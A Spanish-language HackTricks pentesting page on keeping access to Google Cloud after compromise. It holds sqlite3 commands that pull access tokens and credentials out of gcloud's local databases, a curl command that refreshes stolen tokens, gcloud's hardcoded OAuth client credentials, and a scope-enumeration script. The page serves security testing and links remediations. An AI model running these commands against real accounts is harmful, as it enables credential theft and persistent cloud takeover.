GCP - Non-svc Persistance

Apoya a HackTricks

Estas son técnicas útiles una vez que, de alguna manera, has comprometido algunas credenciales de GCP o una máquina que se ejecuta en un entorno de GCP.

Token Hijacking

Authenticated User Tokens

Para obtener el token actual de un usuario, puedes ejecutar:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Consulta en esta página cómo usar directamente este token usando gcloud:

Para obtener los detalles para generar un nuevo token de acceso ejecuta:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

También es posible encontrar tokens de actualización en $HOME/.config/gcloud/application_default_credentials.json y en $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Para obtener un nuevo token de acceso actualizado con el refresh token, client ID y client secret, ejecuta:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

La validez de los tokens de actualización se puede gestionar en Admin > Security > Google Cloud session control, y por defecto está configurada a 16h aunque se puede configurar para que nunca expire:

Auth flow

El flujo de autenticación al usar algo como gcloud auth login abrirá un aviso en el navegador y, después de aceptar todos los alcances, el navegador enviará una solicitud como esta al puerto http abierto por la herramienta:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Luego, gcloud usará el estado y el código con un client_id hardcoded (32555940559.apps.googleusercontent.com) y client_secret (ZmssLNjJy2998hD4CTg2ejr2) para obtener los datos finales del token de actualización.

Nota que la comunicación con localhost es en HTTP, por lo que es posible interceptar los datos para obtener un token de actualización, sin embargo, estos datos son válidos solo una vez, por lo que sería inútil, es más fácil simplemente leer el token de actualización del archivo.

OAuth Scopes

Puedes encontrar todos los scopes de Google en https://developers.google.com/identity/protocols/oauth2/scopes o obtenerlos ejecutando:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es posible ver qué alcances puede soportar la aplicación que gcloud usa para autenticar con este script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Después de ejecutarlo, se verificó que esta aplicación admite estos alcances:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

es interesante ver cómo esta aplicación soporta el alcance drive, lo que podría permitir a un usuario escalar de GCP a Workspace si un atacante logra forzar al usuario a generar un token con este alcance.

Revisa cómo abusar de esto aquí.

Service Accounts

Al igual que con los usuarios autenticados, si logras comprometer el archivo de clave privada de una service account, podrás acceder a ella generalmente tanto tiempo como desees. Sin embargo, si robas el token OAuth de una service account, esto puede ser aún más interesante, porque, incluso si por defecto estos tokens son útiles solo por una hora, si la víctima elimina la clave privada de la API, el token OAuth seguirá siendo válido hasta que expire.

Metadata

Obviamente, mientras estés dentro de una máquina que se ejecuta en el entorno de GCP, podrás acceder a la service account adjunta a esa máquina contactando el endpoint de metadata (ten en cuenta que los tokens OAuth a los que puedes acceder en este endpoint generalmente están restringidos por alcances).

Remediaciones

Algunas remediaciones para estas técnicas se explican en https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Apoya HackTricks

Last updated